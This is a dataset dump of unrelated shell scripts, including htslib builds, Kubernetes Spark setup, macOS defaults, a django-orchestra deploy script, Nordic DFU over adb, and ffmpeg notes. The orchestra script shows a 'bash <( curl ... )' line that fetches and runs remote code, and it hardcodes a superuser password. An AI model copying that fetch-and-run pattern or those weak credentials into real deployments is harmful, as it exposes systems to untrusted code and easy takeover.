for normal linux build)\nplatform=$2\n\ntarget_dir=htslib\nif [[ -n $platform && \"$platform\" != \"hbb\" ]]; then\n target_dir=\"htslib_\"${platform}\nfi\n\n#VER=1.9\n#VER=1.10.2\nVER=1.11\nar=htslib-${VER}.tar.bz2\nif [[ ! -s $target_dir ]] ; then\n curl -OL https://github.com/samtools/htslib/releases/download/${VER}/${ar}\n bzip2 -dc ${ar} | tar xvf - \n rm -f ${ar}\n mv htslib-${VER} $target_dir\nfi\npushd $target_dir\n\n#autoheader\n#autoconf\nmake clean\n\nif [[ \"$compiler\" == \"linux\" ]]; then\n if [[ \"$platform\" == \"hbb\" ]]; then\n ./configure --enable-libcurl --disable-bz2 --disable-lzma --with-libdeflate\n make libhts.a\n else\n ./configure --disable-libcurl --disable-bz2 --disable-lzma --with-libdeflate\n make\n fi\nelse\n if [[ \"$platform\" == \"macos\" ]]; then\n \t./configure --enable-plugins --enable-libcurl --disable-bz2 --disable-lzma --with-libdeflate --host=$compiler\n #inherit CC, AR, and RANLIB from build_no_container_xcross.sh\n echo $CC\n echo $AR\n echo $RANLIB\n #only make static lib for cross-compilation for now\n #export CC=/opt/osxcross/target/bin/${compiler}-gcc\n #export AR=/opt/osxcross/target/bin/${compiler}-ar\n #export RANLIB=/opt/osxcross/target/bin/${compiler}-ranlib\n else # windows\n \t./configure --disable-bz2 --disable-lzma --with-libdeflate --host=$compiler\n export CC=${compiler}-gcc\n export AR=${compiler}-ar\n export RANLIB=${compiler}-ranlib\n fi\n make CC=$CC AR=$AR RANLIB=$RANLIB libhts.a\nfi\npopd"} {"text": "0\nexport GRAPHS=\"./graphs\"\nexport WORKING_FOLDER=\"./temp\"\nexport KGTK_OPTIONS=\"--debug\"\n\necho -e \"\\n*** Sort the claims and qualifiers file on the id column: ***\"\ntime kgtk ${KGTK_OPTIONS} graph-statistics \\\n -i ${GRAPHS}/claims.tsv.gz \\\n -o ${GRAPHS}/metadata.pagerank.undirected.tsv.gz \\\n --compute-pagerank True \\\n --compute-hits False \\\n --page-rank-property Pundirected_pagerank \\\n --use-mgzip True \\\n --mgzip-threads 12 \\\n --output-degrees False \\\n --output-pagerank True \\\n --output-hits False \\\n --output-statistics-only \\\n --undirected True \\\n --log-file ${WORKING_FOLDER}/metadata.pagerank.undirected.summary.txt"} {"text": "#!/usr/bin/env bash\n\nKC=$1\n\nif [ -z ${KC} ]; then\n KC='/root/.kube/config'\nfi\n\n### Deploy spark operator\nhelm repo add incubator http://storage.googleapis.com/kubernetes-charts-incubator\nhelm install incubator/sparkoperator --namespace spark-operator --set enableWebhook=true\nkubectl --kubeconfig=${KC} create serviceaccount spark\nkubectl --kubeconfig=${KC} create clusterrolebinding spark-role --clusterrole=edit --serviceaccount=default:spark --namespace=default"} {"text": "#!/bin/bash\n\n###############################################################################\necho \"Hot Corners\"\n###############################################################################\n\n# Possible values:\n# 0: no-op\n# 2: Mission Control\n# 3: Show application windows\n# 4: Desktop\n# 5: Start screen saver\n# 6: Disable screen saver\n# 7: Dashboard\n# 10: Put display to sleep\n# 11: Launchpad\n# 12: Notification Center\n\necho \"∙ Hot Corner: Top Left — Mission Control\"\ndefaults write com.apple.dock wvous-tl-corner -int 2\ndefaults write com.apple.dock wvous-tl-modifier -int 0\n\necho \"∙ Hot Corner: Top Right — None\"\ndefaults write com.apple.dock wvous-tr-corner -int 0\ndefaults write com.apple.dock wvous-tr-modifier -int 0\n\necho \"∙ Hot Corner: Bottom Left — None\"\ndefaults write com.apple.dock wvous-bl-corner -int 0\ndefaults write com.apple.dock wvous-bl-modifier -int 0\n\necho \"∙ Hot Corner: Bottom Right — Desktop\"\ndefaults write com.apple.dock wvous-br-corner -int 4\ndefaults write com.apple.dock wvous-br-modifier -int 0"} {"text": "#!/bin/bash -e\n\nsource ./cluster/gocli.sh\n\n$gocli_interactive \"$@\""} {"text": "RubenPX/django-orchestra0\n#!/bin/bash\n\nset -ue\n\n# https://git.io/deploy-orchestra\n# bash <( curl https://raw.githubusercontent.com/glic3rinu/django-orchestra/master/scripts/containers/deploy.sh ) [--noinput username]\n\n\nbold=$(tput -T ${TERM:-xterm} bold)\nnormal=$(tput -T ${TERM:-xterm} sgr0)\n\n\nfunction test_orchestra () {\n user=$1\n ip_addr=$2\n # Test if serving requests\n echo\n echo ${bold}\n echo \"> Checking if Orchestra is serving on https://${ip_addr}/admin/ ...\"\n if [[ $noinput ]]; then\n echo \" - username: $user\"\n echo \" - password: ${}\"\n fi\n echo\n if [[ $(curl -s -L -k -c /tmp/cookies.txt -b /tmp/cookies.txt https://$ip_addr/admin/ | grep 'Panel Hosting Management') ]]; then\n token=$(grep csrftoken /tmp/cookies.txt | awk {'print $7'})\n if [[ $(curl -s -L -k -c /tmp/cookies.txt -b /tmp/cookies.txt \\\n -d \"username=$user&password=&csrfmiddlewaretoken=$token\" \\\n -e https://$ip_addr/admin/ \\\n https://$ip_addr/admin/login/?next=/admin/ | grep 'Panel Hosting Management') ]]; then\n echo \"${bold} ** Orchestra appears to be working!${normal}\"\n else\n echo \"${bold} ** Err. Couldn't login :(${normal}\" >&2\n fi\n else\n echo \"${bold} ** Err. Orchestra is not responding responding on https://${ip_addr}/admin/${normal}\" >&2\n fi\n echo\n}\n\n\nfunction install_orchestra () {\n dev=$1\n home=$2\n repo=$3\n \n if [[ $dev ]]; then\n # Install from source\n python_path=$(python3 -c \"import sys; print([path for path in sys.path if path.startswith('/usr/local/lib/python')][1]);\")\n if [[ -d $python_path/orchestra ]]; then\n run sudo rm -fr $python_path/orchestra\n fi\n orch_version=$(python3 -c \"from orchestra import get_version; print(get_version());\" 2> /dev/null || echo '')\n if [[ ! $orch_version ]]; then\n # First Orchestra installation\n run sudo mkdir -p /usr/share/man/man1\n run sudo mkdir -p /usr/share/man/man7\n run sudo apt-get update\n run sudo apt-get -y install git python3-pip\n surun \"git clone $repo $home/django-orchestra\" || {\n # Finishing partial installation\n surun \"export GIT_DIR=$home/django-orchestra/.git; git pull\"\n }\n echo $home/django-orchestra/ | sudo tee \"$python_path/orchestra.pth\"\n else\n echo \"You may want to execute 'git pull origin master'?\"\n fi\n if [[ -L /usr/local/bin/orchestra-admin || -f /usr/local/bin/orchestra-admin ]]; then\n run sudo rm -f /usr/local/bin/{orchestra-admin,orchestra-beat}\n fi\n run sudo pip3 install -e $home/django-orchestra\n run sudo orchestra-admin install_requirements --testing\n else\n # Install from pip\n run sudo orchestra-admin install_requirements\n run sudo pip3 install -e git+https://github.com/ribaguifi/django-orchestra.git#egg=django-orchestra\n fi\n}\n\n\nfunction setup_database () {\n dev=$1\n noinput=$2\n run sudo apt-get install -y postgresql\n run sudo pip install psycopg2\n # Setup Database\n if [[ $dev ]]; then\n # Speeding up tests, don't do this in production!\n . /usr/share/postgresql-common/init.d-functions\n pg_version=$(psql --version | head -n1 | awk '{print $3}' | sed -e \"s,\\..*,,\")\n sudo sed -i \\\n -e \"s/^#fsync =\\s*.*/fsync = off/\" \\\n -e \"s/^#full_page_writes =\\s*.*/full_page_writes = off/\" \\\n /etc/postgresql/${pg_version}/main/postgresql.conf\n fi\n run sudo service postgresql start\n if [[ $noinput ]]; then\n db_password=$(ps aux | sha256sum | base64 | head -c 10)\n run sudo python3 -W ignore manage.py setuppostgres --noinput --db_password $db_password\n else\n run sudo python3 -W ignore manage.py setuppostgres\n fi\n if [[ $dev ]]; then\n # Create database permissions are needed for running tests\n sudo su postgres -c 'psql -c \"ALTER USER orchestra CREATEDB;\"'\n fi\n surun \"python3 -W ignore manage.py migrate $noinput\"\n}\n\n\nfunction create_orchestra_superuser () {\n user=$1\n email=$2\n password=$3\n cat <<- EOF | surun \"python3 -W ignore manage.py shell\"\n\t\t\tfrom orchestra.contrib.accounts.models import Account\n\t\t\tif not Account.objects.filter(username=\"$user\").exists():\n\t\t\t print('Creating orchestra superuser')\n\t\t\t Account.objects.create_superuser(\"$user\", \"$email\", \"$password\")\n\t\t\t\n\t\t\tEOF\n}\n\n\nprint_help () {\n cat <<- EOF\n\t\t\n\t\t${bold}NAME${normal}\n\t\t ${bold}deploy.sh${normal} - Deploy a django-orchestra project\n\t\t \n\t\t${bold}SYNOPSIS${normal}\n\t\t ${bold}deploy.sh${normal} [--noinput=USERNAME] [--dev] [--repo=GITREPO] [--projectname=NAME]\n\t\t \n\t\t${bold}OPTIONS${normal}\n\t\t ${bold}-n, --noinput=USERNAME${normal}\n\t\t Execute the script without any user input, an existing system USERNAME is required.\n\t\t requires the script to be executed as root user\n\t\t \n\t\t ${bold}-d, --dev${normal}\n\t\t Perform a deployment suitable for development:\n\t\t 1. debug mode\n\t\t 2. dependencies for running tests\n\t\t 3. access to source code\n\t\t \n\t\t ${bold}-r, --repo=GITREPO${normal}\n\t\t Chose which repo use for development deployment\n\t\t this option requires --dev option to be selected\n\t\t https://github.com/glic3rinu/django-orchestra.git is used by default\n\t\t \n\t\t ${bold}-p, --projectname=NAME${normal}\n\t\t Specify a project name, this will be asked on interactive mode\n\t\t and name 'panel' will be used otherwise.\n\t\t \n\t\t ${bold}-h, --help${normal}\n\t\t Display this message\n\t\t \n\t\t${bold}EXAMPLES${normal}\n\t\t deploy.sh\n\t\t \n\t\t deploy.sh --dev\n\t\t \n\t\t deploy.sh --dev --noinput orchestra\n\t\t \n\t\tEOF\n}\n\n\nfunction main () {\n # Input validation\n opts=$(getopt -o n:dr:h -l noinput:,dev,repo:,help -- \"$@\") || exit 1\n set -- $opts\n \n dev=\n noinput=\n user=$(whoami)\n repo='https://github.com/ribaguifi/django-orchestra.git'\n brepo=\n project_name=\"panel\"\n bproject_name=\n \n while [ $# -gt 0 ]; do\n case $1 in\n -n|--noinput) user=\"${2:1:${#2}-2}\"; noinput='--noinput'; shift ;;\n -r|--repo) repo=\"${2:1:${#2}-2}\"; brepo=true; shift ;;\n -d|--dev) dev=true; ;;\n -p|--project_name) project_name=\"${2:1:${#2}-2}\"; bproject_name=true; shift ;;\n -h|--help) print_help; exit 0 ;;\n (--) shift; break;;\n (-*) echo \"$0: Err. - unrecognized option $1\" 1>&2; exit 1;;\n (*) break;;\n esac\n shift\n done\n unset OPTIND\n unset opt\n \n if [[ ! $noinput ]]; then\n if [[ $(whoami) == 'root' ]]; then\n echo -e \"\\nErr. Interactive script should run as a regular user\\n\" >&2\n exit 2\n fi\n run () { echo \" ${bold}\\$ ${@}${normal}\"; ${@}; }\n surun () { echo \" ${bold}\\$ ${@}${normal}\"; ${@}; }\n else\n if [[ $(whoami) != 'root' ]]; then\n echo -e \"\\nErr. --noinput should run as root\\n\" >&2\n exit 3\n elif ! id $user &> /dev/null; then\n echo -e \"\\nErr. User $2 does not exist\\n\" >&2\n exit 4\n fi\n run () { echo \" ${bold}\\$ ${@}${normal}\"; ${@}; }\n surun () { echo \" ${bold}\\$ su $user -c \\\"${@}\\\"${normal}\"; su $user -c \"${@}\"; }\n fi\n if [[ ! $dev && $brepo ]]; then\n echo -e \"\\nErr. --repo only makes sense with --dev\\n\" >&2\n exit 5\n fi\n\n sudo true\n if [[ ! $noinput && ! $bproject_name ]]; then\n while true; do\n read -p \"Enter a project name [panel]: \" project_name\n if [[ ! \"$project_name\" ]]; then\n project_name=\"panel\"\n break\n elif [[ ! $(echo \"$project_name\" | grep '^[_a-zA-Z]\\w*$') ]]; then\n if [[ ! $(echo \"$project_name\" | grep '^[_a-zA-Z]') ]]; then\n message='make sure the name begins with a letter or underscore'\n else\n message='use only numbers, letters and underscores'\n fi\n echo \"'$project_name' is not a valid %s name. Please $message.\"\n else\n break\n fi\n done\n fi\n \n task=cronbeat\n if [[ ! $noinput ]]; then\n while true; do\n read -p \"Do you want to use celery or cronbeat (orchestra.contrib.tasks) for task execution [cronbeat]? \" task\n case $task in\n 'celery' ) task=celery; break;;\n 'cronbeat' ) task=cronbeat; break;;\n '' ) task=cronbeat; break;;\n * ) echo \"Please answer celery or cronbeat.\";;\n esac\n done\n fi\n \n home=$(eval echo ~$user)\n cd $home\n \n install_orchestra \"$dev\" $home $repo\n if [[ ! -e $project_name ]]; then\n surun \"orchestra-admin startproject $project_name\"\n else\n echo \"Not deploying, $project_name already exists.\"\n fi\n cd $project_name\n setup_database \"$dev\" \"$noinput\"\n \n if [[ $noinput ]]; then\n create_orchestra_superuser $user $user@localhost orchestra\n fi\n \n if [[ \"$task\" == \"celery\" ]]; then\n run sudo apt-get install rabbitmq-server\n run sudo python3 -W ignore manage.py setupcelery --username $user\n else\n surun \"python3 -W ignore manage.py setupcronbeat\"\n surun \"python3 -W ignore manage.py syncperiodictasks\"\n fi\n\n run sudo python3 -W ignore manage.py setuplog --noinput\n\n surun \"python3 -W ignore manage.py collectstatic --noinput\"\n run sudo apt-get install nginx-full uwsgi uwsgi-plugin-python3\n run sudo python3 -W ignore manage.py setupnginx --user $user $noinput\n run sudo python3 -W ignore manage.py restartservices\n run sudo python3 -W ignore manage.py startservices\n surun \"python3 -W ignore manage.py check --deploy\"\n \n \n ip_addr=$(ip addr show eth0 | grep 'inet ' | sed -r \"s/.*inet ([^\\s]*).*/\\1/\" | cut -d'/' -f1)\n if [[ ! $ip_addr ]]; then\n ip_addr=127.0.0.1\n fi\n \n # Configure settings file into debug mode\n if [[ $dev ]]; then\n sed -i \\\n -e \"s/^\\s*#\\s*'debug_toolbar',/ 'debug_toolbar',/\" \\\n -e \"s/^\\s*#\\s*'django_nose',/ 'django_nose',/\" $project_name/settings.py\n if [[ ! $(grep '^INTERNAL_IPS\\s*=' $project_name/settings.py) ]]; then\n echo \"INTERNAL_IPS = ('$ip_addr',)\" >> $project_name/settings.py\n fi\n fi\n \n test_orchestra $user $ip_addr\n}\n\n# Wrap it all on a function to avoid partial executions when running through wget/curl\nmain $@"} {"text": "100-1000\n#!/bin/sh\n\nif ! command -v jq >/dev/null; then\n echo 'Please install \"jq\" to use this script.' >&2\n exit 1\nfi\n\nif [ \"$#\" -ne 1 ]; then\n echo 'Please pass a source package name as the first argument.' >&2\n exit 1\nfi\npackage=\"$1\"\nversions=$(curl -s \"https://sources.debian.org/api/src/$package/\")\n\nif [ \"$(echo \"$versions\" | jq '.error != null')\" = 'true' ]; then\n echo \"That package does not exists in the Debian sid source repositories: '$package'.\" >&2\n exit 1\nfi\n\nversion=$(echo \"$versions\" | jq -r '.versions[] | select(any(.suites[]; . == \"sid\")) | first(.version)')\n\ncontrol_path=$(curl -s \"https://sources.debian.org/api/src/$package/$version/debian/control/\" | jq -r '.raw_url')\n\ncurl -s \"https://sources.debian.org/$control_path\""} {"text": "0\n#!/bin/bash\n\nsudo apt -y install curl\nsudo apt -y install wget\n\n# Get Anaconda\n/Methods/Tools/Install/Languages/Anaconda2.sh\n\n# Get the ARK\n/Methods/Tools/Install/Toolkits/ARK.sh"} {"text": "#!/bin/sh\n\nPYTHON=python\nif (cat /proc/version |grep -i cygwin) ; then\n PYTHON=python3\nfi\n\ni=0\nfor twid in 762697549979484161 \\\n 758761004255711232 \\\n 762602474293321728 \\\n 463440424141459456 \\\n 761310539280769024 \\\n 762738381143023620 \\\n 762678098206814208 \\\n 760888006022574081 \\\n 761779435653652480 \\\n 762518022372352004 \\\n 763841870480879617 \\\n 761967912085323776 \\\n 764859108579274752 \\\n 866553062361415681 \\\n ;\ndo\n i=$(($i+1))\n echo refreshing tweet $twid\n $PYTHON ./tweet2latex.py --pdflatex --caption $twid |tee tweet$i.tex\ndone"} {"text": "0\n#!/bin/bash\n# create multiresolution windows icon\n#mainnet\nICON_SRC=../../src/qt/res/icons/crca.png\nICON_DST=../../src/qt/res/icons/crca.ico\nconvert ${ICON_SRC} -resize 16x16 crca-16.png\nconvert ${ICON_SRC} -resize 32x32 crca-32.png\nconvert ${ICON_SRC} -resize 48x48 crca-48.png\nconvert crca-16.png crca-32.png crca-48.png ${ICON_DST}\n#testnet\nICON_SRC=../../src/qt/res/icons/crca_testnet.png\nICON_DST=../../src/qt/res/icons/crca_testnet.ico\nconvert ${ICON_SRC} -resize 16x16 crca-16.png\nconvert ${ICON_SRC} -resize 32x32 crca-32.png\nconvert ${ICON_SRC} -resize 48x48 crca-48.png\nconvert crca-16.png crca-32.png crca-48.png ${ICON_DST}\nrm crca-16.png crca-32.png crca-48.png"} {"text": "10-100\n#!/bin/bash -e\n\npushd ../crypto-sdk\n PLATFORM=ios ./build.sh\npopd"} {"text": "#!/bin/bash\ncd $OOS_SOURCE_DIR/apex\nperl -i -p -e \"s/OOS_APEX_PUB_USR_PWD/$OOS_APEX_PUB_USR_PWD/g\" apex_config.sql\n\nsqlplus -L sys/$OOS_ORACLE_PWD@localhost:$OOS_ORACLE_TNS_PORT/xepdb1 as sysdba @apex_config.sql\n\n\n#Create APEX Users\nif [ \"$OOS_APEX_CREATE_USER_YN\" = \"Y\" ]; then\n #Starting in APEX 5 need to separate since can only set one set_security_group_id per session\n echo creating APEX Workspace\n echo exit | sqlplus -L sys/$OOS_ORACLE_PWD@localhost:$OOS_ORACLE_TNS_PORT/xepdb1 as sysdba @create_workspace.sql $OOS_APEX_USER_WORKSPACE $OOS_ORACLE_USER_NAME\n\n echo creating APEX User\n echo exit | sqlplus -L sys/$OOS_ORACLE_PWD@localhost:$OOS_ORACLE_TNS_PORT/xepdb1 as sysdba @create_user.sql $OOS_APEX_USER_WORKSPACE $OOS_ORACLE_USER_NAME $OOS_APEX_USER_NAME $OOS_APEX_USER_PASS\n\n\nelse\n echo Not creating APEX User\nfi\n\n#Create ACL\nif [ \"$OOS_ORACLE_ACL_APEX_ALL_YN\" = \"Y\" ]; then\n echo Creating Network ACL ALL\n sqlplus -L sys/$OOS_ORACLE_PWD@localhost:$OOS_ORACLE_TNS_PORT/xepdb1 as sysdba @apex_acl_all.sql\nelse\n echo Not created APEX ACL\nfi"} {"text": "#!/bin/sh\n################################################################################\n# PROGRAM BY , EXTRACT XML TO A CSV\n################################################################################\n# CONSTANTS\nreadonly CONFIGURATION=\"../python/enthic/configuration.json\";\nreadonly OUTPUT_DIR=$(jq -r .outputPath $CONFIGURATION);\nreadonly BUNDLE=$(jq -r .bundleTmpFile $CONFIGURATION);\nreadonly IDENTITY=$(jq -r .identityTmpFile $CONFIGURATION);\nreadonly SORT_BUNDLE=$(jq -r .sortBundleTmpFile $CONFIGURATION);\n# 1) EXECUTE IT PYTHON STEP FROM py FOLDER\ncd ../python || exit;\n################################################################################\n# 2) SORT THE IDENTITY FILE TO A FINAL CSV FILE\nsort \"$OUTPUT_DIR$IDENTITY\" -uk1,1 -t\";\" > \"${OUTPUT_DIR}identity.csv\"\n################################################################################\n# 3) SORT TO SUM ALL AMOUNT FOR A SOCIETY, A BUNDLE IN A GIVEN YEAR\nsort \"$OUTPUT_DIR$BUNDLE\" > \"$OUTPUT_DIR$SORT_BUNDLE\"\n################################################################################\n# 4) PYTHON STEP SUM A BUNDLE OF A COMPANY FOR A GIVEN YEAR\npython3 enthic/treat_bundle.py\nexit\n################################################################################\n# 5) MOVE TO LOAD DIRECTORY FOR MYSQL 8 COMPATIBILITY\nmv \"$OUTPUT_DIR*.csv\" /var/lib/mysql\n################################################################################\n# 6) CLEAN UP OUTPUT DIRECTORY\nrm -rf \"$OUTPUT_DIR*.tmp\";"} {"text": "#!/bin/sh\n\n# Copyright (c) 2015, Nordic Semiconductor\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this\n# software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE\n# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n# \n# Description:\n# ------------\n# The script allows to perform DFU operation from the computer using Android device as a dongle.\n# The script may be run on Linux or Mac.\n#\n# Requirements:\n# -------------\n# 1. Android device with Android version 4.3+ connected by USB cable with the PC\n# 2. The path to Android platform-tools directory must be added to %PATH% environment variable\n# 3. nRF Toolbox (1.11.0+) or nRF Connect (2.1.0+) (formerly known as nRF Master Control Panel) application installed on the Android device\n# 4. \"Developer options\" and \"USB debugging\" must be enabled on the Android device\n#\n# Usage:\n# ------\n# 1. Open command line\n# 2. Type \"sh dfu.sh -?\" and press ENTER\n#\n# Android Debug Bridge (adb):\n# ---------------------------\n# You must have Android platform tools installed on the computer or the path to the adb application set in the PATH.\n# Go to http://developer.android.com/sdk/index.html for more information how to install it on the computer.\n# You do not need the whole ADT Bundle (with Eclipse or Android Studio). Only SDK Tools with Platform Tools are required.\n\n# ==================================================================================\nPROGRAM=$0\nDEVICE=\"\"\nS_DEVICE=\"\"\nADDRESS=\"\"\nHEX_FILE=\"\"\nHEX_PATH=\"\"\nNAME=\"DfuTarg\"\nINIT_FILE=\"\"\nINIT_PATH=\"\"\nE_INIT_FILE=\"\"\nTYPE=0\n# Modify this in order to keep the bond information after application upgrade\nKEEP_BOND=false\n\n# ==================================================================================\n# Common methods\n\nintro() {\n echo \"====================================\"\n echo \"Nordic Semiconductor DFU bash script\"\n echo \"====================================\"\n}\n\nerror() {\n exit 1\n}\n\nquit() {\n exit 0\n}\n\nusage() {\n echo \"Usage: $PROGRAM [options] hex-file\"\n echo \"Options:\"\n echo \" -d device serial number. Use \\\"adb devices\\\" to get list of serial numbers\"\n echo \" -a target device address in XX:XX:XX:XX:XX:XX format\"\n echo \" -n name optional device name\"\n echo \" -t firmware_type 1=Soft Device, 2=Bootloader, 4=Application, 0 (default)=Auto or all from ZIP\"\n echo \" -i init the init packet *.dat file\"\n}\n\n# ==================================================================================\n# Write intro\nintro\n\n# ==================================================================================\n# Check ADB\nadb devices > /dev/null 2>&1\nif [ ! \"$?\" = \"0\" ] ; then\n echo \"Error: adb is not recognized as an external command.\"\n echo \" Add [Android Bundle path]\\\\\\android-sdk-macosx\\\\\\platform-tools\" to \\$PATH\n error\nfi\n\n# ==================================================================================\n# Parse options\nwhile getopts \":d:a:n:t:i:\" VALUE \"$@\"\ndo\n case $VALUE in\n d )\n DEVICE=\"$OPTARG\"\n S_DEVICE=\"-s $OPTARG\"\n ;;\n a ) ADDRESS=\"$OPTARG\" ;;\n n ) NAME=\"$OPTARG\" ;;\n t ) TYPE=$OPTARG ;;\n i ) \n INIT_PATH=\"$OPTARG\"\n \tINIT_FILE=$(basename $INIT_PATH)\n\t\tE_INIT_FILE=\"-e no.nordicsemi.android.dfu.extra.EXTRA_INIT_FILE_PATH \\\"/sdcard/Nordic Semiconductor/Upload/$INIT_FILE\\\"\"\n \t;;\n : ) echo \"Error: Option -$OPTARG must have a string value.\\n\"\n usage\n error\n ;;\n ? ) usage\n quit\n ;;\n esac\ndone\nshift $((OPTIND - 1))\n\n# Get the HEX file name or write an error\nif [ \"$1\" = \"\" ] ; then\n echo \"Error: HEX file name not specified.\\n\"\n usage\n error\nelse\n HEX_PATH=$1\n HEX_FILE=$(basename $HEX_PATH)\nfi\n\n# ==================================================================================\nif [ \"$DEVICE\" = \"\" ] ; then\n # Check if there is only one device connected\n C=$(adb devices | grep -e \"device\" -e \"unauthorized\" -e \"emulator\" | grep -c -v \"devices\")\n if [ \"$C\" = \"0\" ] ; then\n echo \"Error: No device connected.\";\n error\n fi\n if [ ! \"$C\" = \"1\" ] ; then\n echo \"Error: More than one device connected.\"\n echo \" Specify the device serial number using -d option:\"\n adb devices\n usage\n error\n fi\nelse\n # Check if specified device is connected\n C=$(adb devices | grep -c \"$DEVICE\")\n if [ \"$C\" = \"0\" ] ; then\n echo \"Error: Device with serial number \\\"$DEVICE\\\" is not connected.\"\n adb devices\n error\n fi\nfi\n\n# ==================================================================================\n# Copy selected file onto the device\nprintf \"Copying \\\"$HEX_FILE\\\" to /sdcard/Nordic Semiconductor/Upload/...\"\nadb push $S_DEVICE $HEX_PATH \"/sdcard/Nordic Semiconductor/Upload/$HEX_FILE\" > /dev/null 2>&1\nif [ \"#?\" = \"1\" ] ; then\n echo \"FAIL\"\n echo \"Error: Device not found.\"\n error\nelse\n echo \"OK\"\nfi\n\nif [ ! \"$INIT_FILE\" = \"\" ] ; then\n\tprintf \"Copying \\\"$INIT_FILE\\\" to /sdcard/Nordic Semiconductor/Upload/...\"\n\tadb push $S_DEVICE $INIT_PATH \"/sdcard/Nordic Semiconductor/Upload/$INIT_FILE\" > /dev/null 2>&1\n\tif [ \"#?\" = \"1\" ] ; then\n\t echo \"FAIL\"\n\t echo \"Error: Device not found.\"\n\t error\n\telse\n\t echo \"OK\"\n\tfi\nfi\n\nif [ \"$ADDRESS\" = \"\" ] ; then\n\t# Start DFU Initiator activity if no target device specified\n printf \"Starting DFU Initiator activity...\"\n adb $S_DEVICE shell am start -a no.nordicsemi.android.action.DFU_UPLOAD --ei no.nordicsemi.android.dfu.extra.EXTRA_FILE_TYPE $TYPE --ez no.nordicsemi.android.dfu.extra.EXTRA_KEEP_BOND $KEEP_BOND -e no.nordicsemi.android.dfu.extra.EXTRA_FILE_PATH \"/sdcard/Nordic Semiconductor/Upload/$HEX_FILE\" $E_INIT_FILE | grep \"Error\" > /dev/null 2>&1\nelse\n\t# Start the DFU service directly\n printf \"Starting DFU service...\"\n adb $S_DEVICE shell am startservice -n no.nordicsemi.android.nrftoolbox/.dfu.DfuService -a no.nordicsemi.android.action.DFU_UPLOAD --ei no.nordicsemi.android.dfu.extra.EXTRA_FILE_TYPE --ez no.nordicsemi.android.dfu.extra.EXTRA_KEEP_BOND $KEEP_BOND -e no.nordicsemi.android.dfu.extra.EXTRA_DEVICE_ADDRESS $ADDRESS -e no.nordicsemi.android.dfu.extra.EXTRA_DEVICE_NAME $NAME -e no.nordicsemi.android.dfu.extra.EXTRA_FILE_PATH \"/sdcard/Nordic Semiconductor/Upload/$HEX_FILE\" $E_INIT_FILE | grep \"Error\" > /dev/null 2>&1\nfi\n\nif [ \"$?\" = \"0\" ] ; then\n echo \"FAIL\"\n echo \"Error: Required application not installed.\"\n error\nelse\n echo \"OK\"\n echo \"Select DFU target on your Android device to start upload.\"\nfi"} {"text": "ffmpeg_resample.sh0\n#!/bin/bash\n\n- TODO: ffmpeg resample video to iPhone 6 resolution: 1334 x 750 : See https://en.wikipedia.org/wiki/IPhone_6\nhttps://trac.ffmpeg.org/wiki/Scaling%20(resizing)%20with%20ffmpeg\n If you need to simply resize your video to a specific size (e.g 320x240), you can use the scale filter in its most basic form:\n\n# E.g. ffmpeg -i \"$1\" -vf scale=\"'if(gt(a,4/3),1334,-1)':'if(gt(a,4/3),-1,750)'\" \"iPhone6_1334x750_$1\"\n\nffmpeg -i input.avi -vf scale=320:240 output.avi\n\nSame works for images too:\n\nffmpeg -i input.jpg -vf scale=320:240 output_320x240.png\n\n As you can see, the aspect ratio is not the same as in the original image, so the image appears stretched. If we'd like to keep the aspect ratio, we need to specify only one component, either width or height, and set the other component to -1. For example, this command line:\n\nffmpeg -i input.jpg -vf scale=320:-1 output_320.png\n\nwill set the width of the output image to 320 pixels and will calculate the height of the output image according to the aspect ratio of the input image. The resulting image will have a dimension of 320x207 pixels. \n\n There are also some useful constants which can be used instead of numbers, to specify width and height of the output image. For example, if you want to stretch the image in such a way to only double the width of the input image, you can use something like this (iw = input width constant, ih = input height constant):\n\nffmpeg -i input.jpg -vf scale=iw*2:ih input_double_width.png\n\n If you want to half the size of the picture, just multiply by .5\n\nffmpeg -i input.jpg -vf scale=iw*.5:ih*.5 input_half_size.png\n\nSometimes there is a need to scale the input image in such way it fits into a specified rectangle, i.e. if you have a placeholder (empty rectangle) in which you want to scale any given image. This is a little bit tricky, since you need to check the original aspect ratio, in order to decide which component to specify and to set the other component to -1 (to keep the aspect ratio). For example, if we would like to scale our input image into a rectangle with dimensions of 320x240, we could use something like this:\n\nffmpeg -i input.jpg -vf scale=\"'if(gt(a,4/3),320,-1)':'if(gt(a,4/3),-1,240)'\" output_320x240_boxed.png\n\n The area below the image is shaded with boxes to show there was some additional space left in the box, due to the original image not having the same aspect ratio as the box, in which the image was supposed to fit.\n\nOf course, this approach is only used when your input image is not known in advance, because if it was known, you would easily figure out if you need to use either:\n\n-vf scale=320:-1\n\nor\n\n-vf scale=-1:240\n\nHowever, you can also achieve this with the force_original_aspect_ratio option. From the documentation:\n\n One useful instance of this option is that when you know a specific device's maximum allowed resolution, you can use this to limit the output video to that, while retaining the aspect ratio. For example, device A allows 1280x720 playback, and your video is 1920x800. Using this option (set it to decrease) and specifying 1280x720 to the command line makes the output 1280x533.\n\nThis allows you to force the image to fit into a 320x240 box:\n\nffmpeg -i input.jpg -vf scale=w=320:h=240:force_original_aspect_ratio=decrease output_320.png\n\nThis produces our 320x207 image that we had seen before:"} {"text": "#!/bin/bash\n# 